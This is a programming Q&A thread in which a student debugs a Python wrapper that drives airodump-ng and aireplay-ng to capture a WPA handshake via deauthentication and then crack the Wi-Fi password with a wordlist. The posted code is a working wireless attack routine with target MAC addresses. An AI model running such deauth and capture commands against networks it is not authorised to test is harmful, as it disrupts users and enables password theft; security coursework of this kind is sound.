1

I am working on a project for college the project is a GUI wrapper around the aircrack-ng suite, we are implementing the project in Python 3

I seem to be having a problem with the script, when I run the commands manually as in I run airodump-ng write to a .cap file and run a deauth attack using aireaply-ng to help capture the handshake it works fine, I then run a wordlist against the .cap file to successfully get my wifi password, but when I implement this in a python script it does not work,

I have two threads one for each process which run concurrently, one is used to run airodump-ng for the writing of the capture file and the second thread is used for the aireaply deauth attack, maybe it's a problem with my threads? but to me my threads look fine they both seem to be somewhat in sync.

(MAC address is not my real MAC address just a randomised one used for this thread but when I run it real MAC used)

def execute_command_terminate(self,command,count):
    process = Popen(command,stdout =PIPE,stderr = PIPE)
    time.sleep(count) 
    process.terminate()


def crack_network(self):
    handshake_file = 'files/wpa_handshake'

    #run airodump-ng
    command = ['airodump-ng', "wlan0", '--write', handshake_file, '--bssid','70:55:21:24:6B:A3'
    ,'--channel','11']
    thread =threading.Thread(target=self.execute_command_terminate,args=(command, 60))
    thread.start()
    thread.join(20)
    # run deauth
    cmd = (['aireplay-ng','--deauth','4',
    '-a','70:55:21:24:6B:A3','-c','C0:75:02:72:6A:BA','wlan0'])
    deauth_thread = threading.Thread(target=self.execute_command_terminate,args=(command,10))
    deauth_thread.start()
    deauth_thread.join()
    print("cracking over")
David Silveiro
  • 1,515
  • 1
  • 15
  • 23
  • Maybe the typo at `command = [..., 11']` instead of `[..., '11']` causes the problem? – Joey Apr 02 '19 at 21:03
  • hey Joey, my bad formatting probably affected the code when posting, but in the actual program it's formatted correctly everything gets interpreted and run and a capture file is created and captures packets but none contain the handshake. – strikeforcefan2013 Apr 02 '19 at 21:09
  • 1
    Have you tried running your script with SU privileges? I think I remember the suite often requiring it – David Silveiro Apr 02 '19 at 22:00
  • Or perhaps airodump actually stops writing to disk slightly before the deauth – David Silveiro Apr 02 '19 at 22:09
  • running on Kali so always root, but very good point that may be the case it could stop writing before the deauth, is there any ways that could possibly ensure that the file is written to after the deauth happens – strikeforcefan2013 Apr 03 '19 at 14:01
  • Seperation might be key – David Silveiro Apr 04 '19 at 21:13

2 Answers2

1

I would perhaps have the writing of packets running in a seperate process altogether to avoid any issues with threading. Path of least resistance :) then deuthenticated whenever you'd like

David Silveiro
  • 1,515
  • 1
  • 15
  • 23
0

I had the same issue.

Changing the following

process = Popen(command,stdout=PIPE,stderr = PIPE)

to

process = Popen(command,stdout=PIPE,stderr = PIPE, shell=False)

fixed the problem for me.

Mayur Buragohain
  • 1,566
  • 1
  • 22
  • 42
xAqua
  • 11
  • 4